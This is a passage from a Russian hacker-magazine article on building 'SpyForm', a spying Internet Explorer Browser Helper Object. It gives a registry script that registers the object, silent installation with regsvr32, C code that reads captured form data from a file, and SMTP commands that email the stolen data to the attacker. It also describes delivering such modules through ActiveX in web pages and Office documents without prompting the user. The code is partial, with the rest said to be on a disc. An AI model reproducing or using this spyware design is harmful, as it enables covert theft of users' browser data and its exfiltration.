Тотальный контроль браузера

Кочубей Павел aka zOrd

Спецвыпуск: Хакер, номер #070, стр. 070-052-3

HLKM

{SOFTWARE

{Microsoft

{Windows

{Current Version

{Explorer

{‘Browser Helper Objects’

{Force Remove {G4G53DNL-Q9LF-OV7D- 3753538543BVB7}=s

‘SPYFORM’

}}}}}}}

Теперь после компиляции нужно просто запустить regsvr32 c ключами /s /c и путем к нашей DLL.

[а как же отправлять намытые данные?]

Итак, маленький помощник пользователя создан, и он послушно выполняет свои действия. Но как же он будет их отправлять? Для этой цели мы включим в разработку отправку писем на емейл.

Сначала создадим небольшой модуль, который будет считывать данные из файла:

#define BUFSIZE 4096

void WriteBuffer (void)

{

hFile = CreateFile("spyform.txt",

GENERIC_READ,

0,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL);

...

DWORD dwBytesRead;

#define BUFSIZE 4096

BOOL f_rf;

f_rf= ReadFile(hFile, buffer, 4096, &dwBytesRead, NULL)

BYTE bBugIE[BUFSIZE];

...

CloseHandle(hFile);

}

Для отправки писем было решено использовать SMPT. Для начала создадим структуру smpt-адреса:

SOCKET nSMTPServerSocket;

struct sockaddr_in smtp_address;

int nConnect;

int iLength;

int iMsg = 0;

int iEnd = 0;

BYTE sBuf[4096];

Далее опредилим само сообщение и его данные:

char *MailMessage[] =

{

"HELO SpyForm\r\n",

"MAIL FROM:<---->\r\n", // адрес отправителя

"RCPT TO:<---->\r\n", // адресок получателя

"DATA\r\n",

"<&BugIE\r\n\r\n.\r\n", // тело сообщения

"QUIT\r\n",

NULL

};

Ну а потом - через структуру smtp_address — определяем структуру сервиса для оправки писем, а также создаем сам коннект, который будет уже по нашей информации отправлять письмо. Весь код приводить мы тут не будем: его можно найти на нашем компакт-диске.

[горячая доставка пользователю]

С основными моментами покончено. Только вопрос: а как же злоумышленники доставляют продукт конечному получателю? :). Здесь им помогают ActiveX-объекты, которые представляют собой небольшие исполняемые модули, которые могут быть внедрены в документы. Такими документами являются, например, Word или Excel. В качестве документов-контейнеров могут служить также и web-страницы, написанные на HTML. При отображении такой страницы, браузер предоставляет внедренному модулю ActiveX прямоугольную область на странице. В ней модуль может себя прорисовывать, взаимодействовать с пользователем, принимать и выводить данные и т.д. Помимо визуальных ActiveX-объектов, существуют и невизуальные. Они служат главным образом для доступа к определенным программным ресурсам машины или к данным пользователя и операционной системы. В этом разделе мы рассмотрим тип уязвимости современных браузеров, основанных на несанкционированном запуске ActiveX.

При активации этого объекта Explorer не запрашивает разрешения у пользователя, поскольку объект сертифицирован.